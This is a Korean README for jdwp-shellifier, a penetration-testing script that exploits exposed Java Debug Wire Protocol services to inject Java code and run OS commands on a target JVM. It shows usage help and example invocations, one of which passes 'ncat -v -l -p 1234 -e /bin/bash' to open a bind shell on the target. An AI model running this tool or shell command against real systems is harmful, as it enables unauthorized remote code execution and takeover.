
노출된 Java Debug Wire Protocol(JDWP) 서비스용 악용 스크립트로, 침투 테스터가 Java 코드를 주입하고 대상 JVM에서 임의의 OS 명령을 실행할 수 있게 해줍니다.
이 익스플로잇 스크립트는 침투 테스터가 활성 JDWP 서비스를 대상으로 원격 코드 실행(RCE)을 달성하기 위해 사용하도록 만들어졌습니다.
음, 아주 표준적인 방식으로, 이 스크립트는 Python 2 인터프리터만 필요로 합니다:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
특정 호스트/포트를 대상으로 지정하려면:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
이 명령은 JVM에 Java 코드만 주입하고 운영 체제, Java 버전과 같은 일부 정보를 표시합니다. 외부 코드/바이너리를 실행하지 않으므로 완전히 안전하며 개념 증명(Proof-Of-Concept)으로 사용할 수 있습니다.
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
이 명령은 실행 중인 JVM에 부여된 권한으로 지정된 인자와 함께 ncat 프로세스를 실제로 실행합니다.
질문을 보내기 전에 JDWP 프로토콜을 완전히 이해할 수 있도록 http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html 을 반드시 읽어보세요.